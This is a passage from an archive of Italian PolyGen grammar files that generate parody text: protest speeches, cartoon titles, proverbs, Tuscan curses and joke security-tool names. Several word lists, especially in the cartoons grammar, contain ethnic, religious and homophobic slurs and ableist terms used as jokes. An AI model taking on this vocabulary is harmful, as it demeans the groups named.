; EEII ::= ^ (E:"E" EEE | I:"I" III) ; EI ::= ^ (E:"E" | I:"I") ; AAA ::= [^"A"((^"A")+|(^"AAA")+)] ; EEE ::= [^"E"((^"E")+|(^"EEE")+)] ; III ::= [^"I"((^"I")+|(^"III")+)] ; OOO ::= [^"O"((^"O")+|(^"OOO")+)] ; polygen-1.0.6.ds2/grm/ita/girotondi.grm0000644000175000017500000000717710340417034017261 0ustar enricoenricoI ::= "title: Aria Fritta che Gira in Tondo\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: questa e' una grammatica che genera i tipici discorsi degli attivisti politici confusi che scendono in piazza un po' per contestare il sistema, un po' per starsene un giorno a casa da scuola e/o dal lavoro. \n" ^ "warning: l'autore ci tiene a sottolineare che non e' affiliato a nessuna corrente politica.\n" ^ "created: 27/04/2004" ; S ::= \[MANIF perche'] [WHY] FRASE (SEGNO.V e | SEGNO.PU1 inoltre) RICORS PROPOSITO WITHOUT SEGNO.PU1 e' (per questo [motivo | pretesto] | per questa ragione | cosi' ) che MANIF SEGNO.PU3 [FINALE] ; FINALE ::= e [dunque | quindi | allora | percio' ] tutti (quanti | insieme) (gridiamo | urliamo) SEGNO.PU2 " " SEGNO.VT^ URLI (SEGNO.PUE)+ SEGNO.VT ; URLI ::= assassini | buffoni | in galera | viva la PAX.F | giu' le mani dal PAX.M ; RICORS ::= (FRASE | PROPOSITO) [SEGNO.V WITHOUT] SEGNO.PU1 [[MANIF perche'] [WHY] RICORS] ; FRASE ::= ( ((SOGG TOBE [ADV] AGGNEG).(M|F)) | ((DISC del [vice^]presidente DELLACOSA TOBE [ADV]AGGNEG).(M|F)) | (e' AGGNEG.M che il presidente DELLACOSA di^(ca|ce|rebbe|cesse) che ((M:il|F:la)PAX TOBE AGGNEG).(M|F)) | DITTATORE SEGNO.V infatti (il suo operato | il suo governo | questo signore | questo individuo ) e' quanto di piu' [ADV] AGGNEG.M ) ; DITTATORE ::= se il (dittatore | generale | colonnello | criminale) \(hitler | stalin | pinochet | helder) TOBE in vita SEGNO.V (ved^(e|rebbe|esse) il suo erede nel | sa^(rebbe|resse) un grande amico del | non si comporte^(rebbe|resse) diversamente dal ) [vice^]presidente DELLACOSA ; MANIF ::= {[noi]} {[oggi]} (siamo scesi in piazza | protestiamo | abbiamo deciso di protestare | abbiamo indetto uno sciopero | facciamo questo girotondo) ; PROPOSITO ::= [noi] (auspichiamo | proponiamo | speriamo in ) ((M:un|F:una) WHAT [che TOBE] PM AGGPOS).(M|F) INORDERTO ((M:un|F:una) PAX [che TOBE] [PM|ADV] AGGPOS).(M|F); INORDERTO ::= (per | al fine di (avere|raggiungere|stabilire) | cosicche' si (raggiunga | abbia)) ; PM ::= piu' | meno ; WHAT ::= M:(governo | provvedimento | disegno di legge | attacco) | F:( globalizzazione | devolution | riforma | opposizione | maggioranza | legge | guerra ) ; DISC ::= M:(il discorso | l'intervento)|F:(l'uscita | la sparata | la censura); WHY ::= ([noi] THINK | TOBE evidente | i fatti recenti provano ) che; THINK ::= crediamo | pensiamo | riteniamo | siamo sicuri | [non] accettiamo ; SOGG ::= M:(il presidente DELLACOSA | questo WHAT.M) | F :(questa WHAT.F); PAX ::= M:(governo | paese | welfare | parlamento | popolo )|F:(democrazia | pace | societa' | popolazione | bandiera della pace | liberta' [di PAX.(M|F)] | satira); DELLACOSA ::= della \camera | del \senato | del \consiglio | della \repubblica | della \p2 | dell'\oriente \italiano | della "CGIL" | della "CISL" | della "UIL" ; ADV ::= inevitabilmente | spaventosamente | [in^]costituzionalmente | onanisticamente | veramente | davvero; WITHOUT ::= senza CONG e senza CONG ; CONG ::= se | ma | perche' | percio' | allora | dunque | non | quemadmodum ; AGGNEG ::= incostituzionale | fascista | ingiust^(M:o|F:a) | illecit^(M:o|F:a) | illegale | infelice ; AGGPOS ::= pacific^(M:o|F:a) | democratic^(M:o|F:a) | giust^(M:o|F:a) | migliore | simpatic^(M:o|F:a) | tollerante | costituzionale | liberale | legale | legittim^(M:o|F:a) | duratur^(M:o|F:a) ; TOBE ::= e' | sia | fosse | sarebbe ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | PUE: ^"!"\ | V: ^"," | VT: ^"\""\ );polygen-1.0.6.ds2/grm/ita/cartoons.grm0000644000175000017500000001441610340417034017105 0ustar enricoenrico I ::= "title: Cartoni Unimati Giapponesi\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: larval\n" ^ "topic: popculture of the 80s\n" ^ "audience: un po' tutti, ma soprattutto Alessandra" {\va^(l|n)}^eri {\ma^(l|n)}^er[^(i|b)]^a ^"\n" ^ "disclaim: Cristina d'Avena non ancora implementata\n" ^ "created: 27/10/2004" ; S::= \ Cartone ; Cartone ::= \(Nome Mestiere.Art [Aggettivo]).(M|F) | \Nome.M (^","|il) Nobiliare,>(Mestiere.NoArt.M | ragazzo) Diche2,Diche | \Sdolcinerie Nome.F | \(Incantesimo.Art Participio).(M|F) Luogo DelLuogo [per Nome] | (A:=Aggettivo.F; \A A Nome.F) | \Gerundio Luogo DelLuogo | \(che Campioni Nome.M e Nome.M ^"!" | Nome.M e Nome.M^"," due Campioni) | \{Nome.M} e {Nome.F}^"," due Cuori Sport.Nel | \Nome.F (e le ragazze | e i Campioni) Sport.Del | \(Nome ^"," Campione).(M|F) Sport.Del | Nome Caratteristiche | (N:=Nome; [N^","] Incorreggibile N ) | (Nome.M|"Gigi") Appellativo | \e' (Avverbio | un po' di) Incantesimo.F (^","|per) (Nome.M | Nome.F e Nome.F) | Pokemon ^"," Animale Aggettivo.M | \PotPourri di avventure per ((Nome [[^","] Mestiere.Art]).(M|F) | Nome [Caratteristiche] ) | Nome.F e la Incantesimo.F,Sfida di,della (OggettoTira DiCosa),Incantesimo.F | Nome.F ^"," OggettoTira (tira | dopo) l'altro | \[super] Robot ("-" (l'uomo | cuore | robot) DiCosa | "-" il robot Aggettivo.M) | Nome.M Frazione | Pokemon ; Nome ::=>> M: \( holly | benji | johnny | ken | sampei | nino | shiro | carletto | franco | ubaldo | tommaso | beppe | ernesto | asdrubale | gigi) | F: \( candy | georgie | sakura | emi | mila | creamy | ann(^a|^ette) | bia | filippa | mirella | cristina | pina | susanna | mariangela) | ---"Helder" << ; Mestiere ::=(Art: (M:il | F:la) | NoArt: _) (M: ( guerriero | pescatore | calciatore | cavernicolo | mago | mafioso | viados | ninja ) | F: ( guerriera | strega | maga | pizzaiola | segretaria | massaggiatrice | "drag-queen" )) ; Prepos ::= la' | qua | qui | su | giu' ; Diche ::= del cosmo | del futuro ; Diche2 ::= >> dei mostri | dei mongoli | dei ladri | dei negri | degli zingari | degli ebrei | degli omosessuali | Diche << ; Sdolcinerie ::= kiss me | love me | fuck me | cara dolce ; Incorreggibile ::= l'incorreggibile | l'insopportabile | l'irrevocabile | l'irreprensibile ; PotPourri ::= un alveare | un canile | un letamaio | una stalla | un acquario | un serraglio | una fogna | un calderone | una fossa biologica ; Nobiliare ::= re | principe | duca | marchese | barone | cavaliere | conte | presidente ; Avverbio ::= quasi | alquanto | decisamente | leggermente ; Sfida ::= (++++++++++++++++++++++++++++s^|------------------------_)figa | sfida | figlia | biglia | triglia ; Incantesimo ::= M:((Art:un|NoArt:_) ( incantesimo | malocchio | finocchio | prurito )) | F:((Art:una|NoArt:_) ( magia | poesia | filosofia | fobia | dendrofilia )) ; Appellativo ::= la trottola | la piattola | la nottola | la bettola | la caccola | la pallottola | la pentola | la zoccola | la fiaccola | la fecola | la tombola | la bubbola | la pustola | la frottola ; Luogo ::= nei giardini | ---nelle latrine | nei labirinti | nei meandri | nelle caverne | tra i baffi | sui monti | nel mare | nei cessi | nel bosco ; Caratteristiche ::= dai,dalle Cuori.M,Cuori.F AggettiviPl.M,AggettiviPl.F; DelLuogo ::= del naso | del sole | del tempo | dello spazio | dell'ospizio | -------------"di Cinisello Balsamo" ; Aggettivo ::= magic(M:^o|F:^a) | mitic(M:^o|F:^a) | tragic(M:^o|F:^a) | spastic(M:^o|F:^a) | sadic(M:^o|F:^a) | flaccid(M:^o|F:^a) | sapid(M:^o|F:^a) | cinic(M:^o|F:^a) | turgid(M:^o|F:^a) | stupid(M:^o|F:^a) | cosmic(M:^o|F:^a) | magnetic(M:^o|F:^a) | ispid(M:^o|F:^a) ; Gerundio ::= passeggiando | scorreggiando | sporcando | orinando | scartavetrando | pasturando | stravaccando | tergiversando ; Animale ::= cane | ornitorinco | porco | cavallo | pesce | criceto | porro ; Campione ::= M: (il campione | l'imbecille | il fuoriclasse ) | F: (la campionessa | la ragazza | la fuoriclasse | la stella) ; OggettoTira ::= un rutto | un peto | un polpo | uno starnuto | un Animale ; Cuori ::= M: ( reni | fegati | pubi | fianchi | piedi | polsi | -----diti | follicoli | brufoli | polmoni | capelli | denti | gomiti | mignoli | pollici ) | F : (ascelle | verruche | unghie | dita | orecchie | narici | dentiere | meningi ) ; DiCosa ::= di balsa | di pane | tonnato | di cobalto | ----di merda | d'acciaio | di ferro | di ghisa | inox | di rame ; AggettiviPl ::= [g^]ross(M:^i|F:^e) | sporch(M:^i|F:^e) | cellulitic(M:^i|F:^he) | flaccid(M:^i|F:^e) | cott(M:^i|F:^e) | marc(M:^i|F:^e) | rott(M:^i|F:^e) ; Sport ::= (Del:del | Nel:nel | No:_) calcio | (Del:del | Nel:nel | No:_) basket | (Del:della | Nel:nella | No:_) pallavolo | (Del:dello | Nel:nello | No:_) sci [di fondo] | (Del:dell'^ | Nel:nell'^ | No:_) hockey | (Del:del | Nel:nel | No:_) rugby | (Del:del | Nel:nel | No:_) ciclismo | (Del:del | Nel:nel | No:_) baseball | (Del:del | Nel:nel | No:_) nuoto [sincronizzato] | (Del:del | Nel:nel | No:_) tiro al piattello | (Del:del | Nel:nel | No:_) lancio del peso; Campioni ::= campioni | fuoriclasse | rimbambiti | ritardati | rincretiniti | dementi ; Participio ::= dischius(M:^o|F:^a) | nascost(M:^o|F:^a) | occlus(M:^o|F:^a) | inclus(M:^o|F:^a) | reclus(M:^o|F:^a) | incastonat(M:^o|F:^a) ; Robot ::= \RobPrefix ^ RobMid [^RobPost] [\Lettera]; RobPrefix ::= go[^t] | vol | ge[^t] | gol | star | ma | ga[^i] | me | tri | hel | gun; RobMid ::= zing | tron | t | ter | don | chan | der | dam; RobPost ::= er | a | "" ; Pokemon ::= \ P^Voc^K^Voc^mon[^d]; P::= [s^]p | d | r ; Voc ::= o | i | y | e; K::= k | g | kk | l | rc | pp | ra | ld ; Lettera ::= x|z|t|h|g|3|n|"GT" ; Frazione ::=Numero^"/"^Numero; Numero ::=1|2|3|4|5|6|7|8|9|10|11|12|13|14|15; polygen-1.0.6.ds2/grm/ita/prov.grm0000644000175000017500000000663510340417034016247 0ustar enricoenrico I ::= "title: La" (grande | insuperabile | superba | inimitabile) "saggezza popolare\n" ^ "author: Gioppino <mgaion@dsi.unive.it>\n" ^ "language: italian\n" ^ "status: larvale\n" ^ "topic: misc\n" ^ "audience: chiunque avesse il" ( Parente [Aggettivo] ).M "che rompeva con i proverbi\n" ^ "created: 7/12/2002" ; S ::= \ ( Gatta | Tempo | Abito | Numeri | Sapere | Andare | Vicino (*| Gallina Gallina vecchia fa buon brodo ... ma devo risistemare tutta la grammatica :) *) | Caval | Matrimonio ) ^ "." ; Gatta ::= tanto va Animale.art.(M|F) al ^Cibo che ci lascia Anatomico | tanto va Animale.art.(M|F) al ^Cibo che (Numeri | Abito) (* tentativo di fusione di due proverbi, idea di Manta, non mi fa poi cosi' ridere :( *) (* devo unire le due produzioni ... cosi' fa cacca ... ma intanto funziona :P *) ; Tempo ::= Colore.M di Partegiornata^"," Aggettivo.M tempo si Verbo | Colore.M di Partegiornata^"," [- allora | si inferisce che | di conseguenza] ( Numeri | Abito | Vicino ) ; Abito ::= Abbigliamento non fa Mestiere ; Numeri ::= non c'e' Numero senza Numero ; Sapere ::= chi la Verbo1 Verbo2 ; Andare ::= (chi va Aggettivo^"," va Aggettivo e va Aggettivo).M ; Vicino ::= ((Cibo | Abbigliamento) del vicino e' sempre piu' Colore).M | ((Cibo | Abbigliamento) del vicino e' sempre piu' Colore).F ; Caval ::= a ( Animale.M.NOart donato | Animale.F.NOart donata ) non si guarda Anatomico ; Matrimonio ::= tra Parente.F e Parente.M non mettere Anatomico ; Parente ::= bis ^"-" ^Parente | pro^"-" ^Parente | M: ( nonno | fratello | cognato | padre | suocero | marito) | F: ( nonna | sorella | cognata | madre | suocera | moglie) | nipote ; Animale ::= M: ( (art: l'^ | NOart: _) >(elefante | ornitorinco | alce) | (art: il | NOart: _) >(colibri') ) | F: (art: la | NOart: _) >(pantegana | zebra | iena [ridens | maculata] | gallina) ; Cibo ::= F: la >(carne | mortadella | torta | pasta | cioccolata) | M: l'^>(erba | amaro | uovo ) ; Anatomico ::= - lo stinco | la >(scapola | falange | carotide ) | l'^>(incisivo | anulare | avambraccio | orecchio) | il ( canino | fegato | pancreas ) ; Colore ::= M: (grigio | rosso | nero) | F: (grigia | rossa | nera ) | blu | viola | verde |+ webbart (*non e' un colore ... ma e' pur sempre WEBBBB-oriented*) ; Partegiornata ::= crepuscolo | sera | mattina | alba | pomeriggio | notte ; Aggettivo ::= bel | grande (*| piccolo*) | forte | M: ( bello | brutto | chiaro | scuro | piano | sano | lontano | morto | risorto | indetro | storto ) | F: ( vecchia | chiara | nuova | morta | storta ) (* devo crearli decentemente questi aggettivi tipo Radice+ConiugazioneGenere*) ; Verbo ::= spera | avvicina | allontana | appropinqua ; Abbigliamento ::= F: la >(scarpa | mutanda) | M: l'^>(abito) | M: il >(mantello | cappello | polsino | papillon) ; Mestiere ::= il >(monaco | pastore | falegname | postino | web designer | programmatore | medico) | l'^>(imbalsamatore) ; Numero ::= due |+ bue | yac | re |+ web | ciak | "c.e.d." |+ wap ; Verbo1 ::= fa | sa | da' | e' | va | ha ; Verbo2 ::= l'^>( affetti | aspetti | afferri | asciughi | accetti ) | la >( sferri | sfogli | spalmi ) ; polygen-1.0.6.ds2/grm/ita/maremmamaiala.grm0000644000175000017500000000365010340417034020037 0ustar enricoenrico I ::= "title: Maremma Maiala!\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: larval\n" ^ "topic: devolution\n" ^ "audience: tutti i toscani, ma soprattutto quelli che credono che i toscani siano tutti" (AggettPos| AggettNeg) ^"\n" ^ "disclaim: ma siamo sicuri che siano davvero" (AggettPos | AggettNeg) "questi toscani?\n" ^ "created: 9/11/2004" ; S::= \[Intro] Maremma Maiala (+_|-Maiala) [(^"," [o[^h]] Interiezione)+] (^"!"|^"," Vanto); Intro ::= o [^vvia^","] | [ma] il budello Parente (^"!"\|^",") ; Parente ::= de la tu' (mamma | nonna | zia | sorella | moglie) | del tu' (babbo | nonno | zio); Maremma ::= +maremma | vacca | -budella | marianna ; Maiala ::= maiala | pup^Suffix | cag^Suffix | budellona | ganza | bischera | bu^(c|h)^Suffix | purg^Suffix | (c|h)^ogliona | impestata [ladra] | soffo^(c|h)^ona | bon^[in^]a | (c|h)^ane | tromb^Suffix | scop^Suffix | puttanghera | brindellona | finocchiona | ladra ; Suffix::=(attola|acchiona|asturzia|++aiola) ; Interiezione ::= via | va' | vaffan^(c|h)^ulo | \dio bon^[in^]o [^"," to'] | ((mannaggia a [te e a ] quel),_) (boia (di quel | d'un) | porco [di quel] | citrullo d'un) (mondo | zio | cane | cinghiale | \helder) [ladro |bischero ] ((che un' t'ha ammazzato da piccolo | che t'ha (partorito | (c|h)^a^(c|h)^ato | pensato | creato) | che t'ha permesso di crescere sano ),_) ; Vanto ::= [che] (siam[^o] | +si e') (troppo | assai | proprio) AggettPos noi[^altri] toscani ^"!" | [che] un' (siam[^o] | +si e') (mi^(c|h)^a | per niente) AggettNeg noi[^altri] toscani ^"!" ; AggettPos ::= simpatici | ganzi | tocchi di fi^(c|h)^o | forti | boni | belli | i migliori ; AggettNeg ::= bischeri | (c|h|')^oglioni | grulli | tonti | beceri | citrulli | teste d'ovo ;polygen-1.0.6.ds2/grm/ita/genitoriamici.grm0000644000175000017500000000661610340417034020103 0ustar enricoenricoI ::= "title: Genitori Amici\n" ^ "author: Denis e Laura <laura@micionline.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: tutti\n" ^ "created: 23/3/2005" ; S ::= Nascita Difficolta Auguri Conclusione ; Nascita::= "Quando" ( nascesti | sei venuto alla luce | ti ho trovato in un cassonetto | papa' se n'e' andato | mamma e' venuta a mancare | papa' si e' ammalato ) era ( gennaio | dicembre | novembre | marzo | febbraio ) e (c'era la neve | pioveva | c'era freddo | c'era il vento | c'era l'alluvione | c'era stato il terrremoto)^"." "Io" ( avevo Numero anni | lavoravo in Postaccio | avevo acceso un mutuo per comprare la roulotte in cui abitavamo | avevo scoperto da poco di avere Malattia.art.(M|F) | avevo perso da poco i genitori) ^"," ma tu con il tuo sorriso mi davi ogni giorno forza e speranza ^"." ; Difficolta::= "Poi" sei cresciuto^";" fin da piccolo hai mostrato un grande interesse per Disciplina.art.(M|F)^";" ricordo che il tuo sogno era andare a Citta e una volta (mi hai rubato i soldi dal portafoglio | hai scippato una vecchietta | hai rapinato il tabaccaio | hai picchiato la nonna per rubarle i soldi | hai venduto l'orologio di papa' | hai venduto il gatto al ristorante cinese | hai scassinato la cassaforte della scuola) per poterti comprare Oggetto.art.(M|F)^";" ; Auguri::= "Io" dapprima ho perso le staffe e mi spiace per tutte quelle (cattiverie che ti ho detto | botte che ti ho dato | cinghiate | brutte parole) ma poi ho capito che per te era veramente importante e oggi sono qui a farti i miei migliori auguri perche' tu possa veramente un giorno diventare famoso e fare quello che desideri^"." "Non" trovo le parole per dire ( quanto ti stimo | come ti voglio bene | quanto ti sia vicino )^"." ; Conclusione::= "Non" ci credere a tutte quelle persone invidiose e cattive che ti dicono che tu non sei (capace a | bravo di | buono a) (cantare | recitare | ballare | parlare)^";" sono tutte persone che parlano solo per (invidia | cattiveria | malafede | risentimento | astio ) tu vai dritto per la tua strada che ce la farai e sono qui questa sera per (augurarti un grande in bocca al lupo | farti i miei migliori auguri | esprimere tutto l'affetto che ho per te | tifare per te con tutto il mio cuore ) e spero che tu possa un giorno ( coronare il tuo sogno | sposarti con "Maria" de "Filippi" | guadagnare tanti soldi | prenderti quella macchina che tanto sogni | diventare famoso anche all'esetero | diventare un vip )^"." ; Numero ::= ( 17 | 16 | 15 | 19 | 18 | 43 | 52) ; Postaccio ::= ( fonderia | miniera | fabbrica | risaia | un bordello | un frantoio | "Germania" | continente | campagna | officina | "Fiat" | profumeria ) ; Malattia::= F: la >(gotta | lebbra | scabbia | gonorrea | tisi | tubercolosi | salmonellosi | sclerosi multipla) | M: l'^>(aids | epatite) | M: il >(parkinson | vaiolo | colera | cancro) ; Disciplina ::= F: la >( danza | musica | recitazione | televisione ) | M: il >( ballo | canto | teatro | cinema) ; Citta ::= ( "Hollywood" | "Cinecitta'" | "Roma" | "New York" | "Londra" | "Las Vegas" | "Montecatini Terme" | finire in "TV" | "New Orleans" ) ; Oggetto ::= F: la >(chitarra | batteria | scuola di danza ) | M: il >(corso di dizzione | chiodo | cantatu' | disco di "Madonna" | biglietto dei "Take That") ; polygen-1.0.6.ds2/grm/ita/secante.grm0000644000175000017500000000411410340417034016671 0ustar enricoenricoI ::= "title: Information Security System Name Generator\n" ^ "author: Mefistofele <matteo@genhome.org>\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: informatic\n" ^ "audience: anybody\n" ^ "version: 6.6.6\n" ^ "comment: Thx to Manta & C for the Metal band names grammar, ispiration for this first grammar\n" ^ "created: 28/09/2004" ; S ::= \Title "Ver." Version ; Title ::= Prefix (\NPre \Noun | "Management") \PDev \Subj | PDev \NPre \Noun \NDev \Subj ; Prefix ::= ((Adj^"-"^ADev) | NDev) ; Adj ::= ultra | extra | very | multi | intra ; ADev ::= evil | resident | brutal | violent | satanic | chaotic | dark | diabolic | tantric | immortal | ethereal ; NDev ::= silent | inorganic | biological | ectoplasmatic | gothic | insane | hostile | "pre-emptive" | [un^]holy | ghostly | spiritic | rising | bleeding | running | norton | organic | persistent | amorph | sybillin | erotic | infernal | cthuloid | cthonic ; EDpname ::= (network | host | apocalypse | doom | necro[nomicon] | hard | snort | oracle | necro) ; EDpre ::= EDpname^("-based" | "-coded") ; NPre ::= EDpre ; Noun ::= (intrusion | intruder | scanner | sniffer | penetrator | vulnerability ) ("Detection" | "Assessment") | "Wing-"^("Tsun" | "Chun" | "Ciun" | "Zun") | ((internet | desktop | database | eretic | ADev | "WI-FI" | wireless) "Scanner") | sniffer | analyzer ; PDev ::= peripheral | centralized | enterprise | remote | maniac | rapid | invisible | scalable | local | revisited | rebuilded | reprogrammed ; Subj ::= system | tool[^s] | correlator | monitor | suite | destroyer | dreamer | builder | configurator | d^[a^]emon | programmer | coder | protector | intruder | penetrator | grammar | program | summoner | wizard | mutilator | killer | smasher | tester ; Version ::= ("6.6.6" | "9.9.9" | "0.0.1" | "0.1" )^"-"^(alfa | beta | gamma | "RC" | "FC") ; polygen-1.0.6.ds2/grm/ita/professionisti.grm0000644000175000017500000000572210340417034020335 0ustar enricoenricoI ::= "title: Uomini e Donne della New Economy\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" [l'autore garantisce che] e' [solo | solamente] (una coincidenza | un caso) che gli uomini siano tecnici e le donne [esclusivamente] segretarie "\n" ^ "poll: chi" volesse sputtanare per sempre il proprio nominativo autorizzandone l'inserimento tra quelli della presente grammatica lo comunichi senza indugi "all'autore\n" ^ "created: 17/06/2003" ; S ::= (Professionista "-" Professione).(tecnici|segretarie) ; Professionista ::= (++ Titolo [Titolo] | _) Nome (tecnici: (-- ^", Ph.D." | _) | segretarie: _) ; Professione ::= [\Anzianita] [\Qual] [\Qual] \Qual \Ruolo ; Titolo ::= tecnici: ("Dott." | "Ing." | "Prof." | "Geom." |- "Arch.") | segretarie: ("Rag." |-- "Inf." |- "Segr." | "Sig." ^(ra | na) | "Miss") ; Nome ::= tecnici: ( "Alvise Spano'" | "Enrico Zeffiro" | "Helder" | "Diego Dainese" | "Fabio Tudone" | "Giulio Manzonetto" | "Giulio Marcon" | "Andrea Pavan" | "Marco Gaion" | "Marco Foco" | "Mattia Barbon" | "Paolo Quaglio" | "Emiliano Franchini" | "Claudio Tassitano" | "Davide Baroncelli" | "Giuseppe Calignano" | "Andrea Rota" | "Carlo Umberto Grazia" ) | segretarie: ( "Enrica Bertoldo" | "Priscilla Toffano" | "Maria Serena Piccioni" | (M ::= m | gi; Z ::= z | gi; \M^or^Z^a \M^(a | o)^r^Z^ola) ) ; Anzianita ::= (-- distinguished\ | _) ( senior | junior | veteran | apprentice | expert | [grand^]master | advanced | (high | low | mid)^"-level" ) ; Qual ::= tecnici: >( technical | analysis | system | ["meta-"^\] model | architecture | chief | product | business | development | java | engineering | "J2EE" | "UML" | "JSP" | "HTML" | "XML" [^"-" ^ ("Schema" | "DTD")] | ("TXT" | "JPeG" | "MPeG" | "MP3") [\file] |-- (- turbo | ultra | mega | hyper) | technolog^(y | ical) ) | segretarie: >( professional | human | office | official | administration | resource | financial | sales | operation | coordination | consulting | management | [quality\] assurance | business | [il^]legal ) | web | wap | service | project | associate | operative | coordinate | intelligence | personnel | staff | [(inter | intra |- extra |- ultra)^]net | knowledge ; Ruolo ::= tecnici: >( engineer | specialist | analyst | developer | architect | modeller | manager | operator ) | segretarie: >(administrator | operator | coordinator | consultant | editor) | director | trainer | provider | evangelist ;polygen-1.0.6.ds2/grm/ita/supereroi.grm0000644000175000017500000007274010340417034017276 0ustar enricoenricoI ::= "title: Supereroi\n" ^ "author: Frank von Doom, <frankdoom@virgilio.it>, Capitan Pixel, <cappixel@ratmanfc.com>\n" ^ "language: italian\n" ^ "status: gamma\n" ^ "topic: supereroi contro la "^Editore^"\n" ^ "audience: quasi tutti\n" ^ "disclaimer: non abbiamo nulla contro "^Persona^"\n" ^ "comment: ''"^""^"Ci si puo' fidare de"^Supergruppo^Esclamo^""^''"\n" ^ "created: 23/5/2005" ; S ::= \ (( "Il superpotere" | "L'abilita'" ) di Combo ^[", "^membro de^(Supergruppo)^","]^Abilita.E^"." "Solitamente" indossa Costume^"." "Ha" come (Nemico^nemico | partner | aiutante ) Combo^[", "^membro de^(Supergruppo)^","] ^Abilita.Puo^". Scopri'" di avere i suoi Poteri.M.P poteri quando [^"," Luogo^","] Evento^"."("Comparve" per la prima volta | "Fu" creato | "Ha" esordito) nel numero Semero della serie Serie^"," pubblicata da Editore nel Mese Anno Nazione^". Nel" numero Semero della serie Serie^"," pubblicata da Editore nel Mese Anno Nazione^"," (Evento^", "^Evento e affronto' Combo | affronto' Combo^"," Evento e Evento | affronto' Combo | Evento | Evento e Evento | Evento e affronto' Combo | affronto' Combo e Combo ) [ Luogo ]^"." "Il" suo grido di battaglia e' Grido^"." [ "E'" morto nel numero Semero della serie Serie^"," pubblicata da Editore nel Mese Anno Nazione^"," per resuscitare nel numero Semero della serie Serie^"," pubblicata da Editore nel Mese Anno Nazione^"." ] ) ; Combo ::= ""^(Nome.M ( Attributo.M | \Poteri.M.S ) | Nome.F ( Attributo.F | \Poteri.F.S ) | ( "Capitan" | "Lady") Nazione2 | Name^Adj | Name Adj | NameS AdjS | NameS Adj | Name AdjS )^"" ; Nome ::= ( M: >( "Androide" | "Capitan" | "Cavaliere" | "Combattente" | "Detective"| "Dottor" | "El" | "Fantasma" | "Giustiziere" | "Maestro" | "Mago" | "Mr" | "Ninja" | "Professor" | "Ragazzo" | "Robot" | "Samurai" | "Uomo" | "Vigilante" ) | F: >( "Combattente" | "Detective" | "Donna" | "Lady" | "Meraviglia" | "Miss" | "Mrs" | "Ms" | "Ragazza" | "Sfinge" | "Vigilante" ) ) ; Attributo ::= ( M: >( "Androide" | "Formaggino" | "Fuoco" | "Futuro" | "Ghiaccio" | "Invisibile" | "Ionico" | "Liberta'" | "Meraviglia" | "Ragno" | "Ratto" ) | F: >( "Androide" | "Formaggino" | "Fuoco" | "Futuro" | "Ghiaccio" | "Invisibile" | "Ionica" | "Liberta'" | "Meraviglia" | "Ragno" | "Ratto" ) ) ; Name ::= ( "Action" | "Ash" | "Bat" | "Big" | "Bird" | "Black" | "Blue" | "Cat" | "Cold" | "Cut" | "Cuts" | "Cyber" | "Day" | "Dead" | "Death" | "Demon" | "Devil" | "Doom" | "Evil" | "Extreme" | "Fire" | "Flame" | "Free" | "Frog" | "Ghost" | "Gold" | "Green" | "Hell" | "Ice" | "Ionic" | "Iron" | "Judo" | "Karate" | "Light" | "Magic" | "Marvel" | "New" | "Night" | "Pit" | "Power" | "Rain" | "Ray" | "Rat" | "Red" | "Robot" | "Rock" | "Shadow" | "Sky" | "Speed" | "Spider" | "Steel" | "Star" | "Storm" | "Strike" | "Strong" | "Super" | "Thing" | "Thunder" | "White" | "Wild" | "Wonder" | "Yellow" | "Young" | _) ; NameS ::= ( "Adam" | "Al" | "Amazing" | "Android" | "Angus" | "Archie" | "Autumn" | "Avenger" | "Billy" | "Brother" | "Captain" | "Damage" | "Doctor" | "Dylan" | "Fantastic" | "Force" | "Freak" | "Freeze" | "Fritz" | "Guardian" | "Hank" | "Hogan" | "Hulk" | "Human" | "Impossible" | "Invisible" | "John" | "Lady" | "Lantern" | "Liberty" | "Lightening" | "Master" | "Maximum" | "Miss" | "Monster" | "Mr" |"Mrs" | "Ms" | "Mutant" | "Ninja" | "Parker" | "Pete" | "Peter" | "Pitt" | "Poison" | "Professor" | "Resurrection" | "Samurai" | "Sgt." | "Silver" | "Sinister" | "Sister" | "Slim" | "Spring" | "Stevie" | "Summer" | "Thor" | "Thrasher" | "Ultimate" | "Venom" | "Vindicator" | "Walt" | "Winter" | "X" | "Zombie" | _) ; Adj ::= ( "Bird" | "Boy" | "Cat" | "Cold" | "Crawler" | "Demon" | "Devil" | "Dog" | "Doom" | "Eagle" | "Fire" | "Flame" | "Flash" | "Free" | "Ghost" | "Girl" | "Gold" | "Guy" | "Ice" | "Judo" | "Karate" | "Kid" |+++++++++++ "Man" | "Pool" | "Power" | "Rat" | "Rider" | "Rock" | "Show" | "Sleeper" | "Speedster" | "Spider" | "Star" | "Storm" | "Strike" | "Thunder" | "Walker" | "Wild" | "Woman" | _) ; AdjS ::= ( "Adam" | "Al" | "Android" | "Angus" | "Archie" | "Arrow" | "Avenger" | "Billy" | "Commando" | "Diablo" | "Dylan" | "Evil" | "Fantastic" | "Force" | "Freak" | "Freeze" | "Fritz" | "Guardian" | "Hank" | "Hogan" | "Hulk" | "Impossible" | "Invisible" | "John" | "Lantern" | "Liberty" | "Marvel" | "Mysterio" | "Parker" | "Pete" | "Peter" | "Poison" | "Queen" | "Resurrection" | "Robot" | "Sinister" | "Slim" | "Soldier" | "Stevie" | "Stroke" | "The Cat" | "The Dog" | "The Frog" | "The Kid" | "The Speedster" | "The Thing" | "The Zombie" | "Thing" | "Thor" | "Thrasher" | "Torch" | "Tornado" | "Venom" | "Vindicator" | "Voodoo" | "Walt" | "Warlock" | "Warrior" | "Wisdom" | "Wizard" | "X" | "Zombie" | _) ; Verbo ::= ( baciare | colpire | dare | dire | emettere | far volare | fare | immaginare | lanciare | pensare | riempir^( e | ti di ) | rigenerare | rigirare | saltare | scavare | scindere | scovare | soffiare | sollevare | sparare | spostare | sputare | teletrasportare | toccare | uccidere | utilizzare ) ; Azione ::= ( avere la mascella quadrata | confonderti | consegnare tapiri | correre all'inverosimile | costruire castelli ( con la sabbia | con i lego | in aria) | costruire 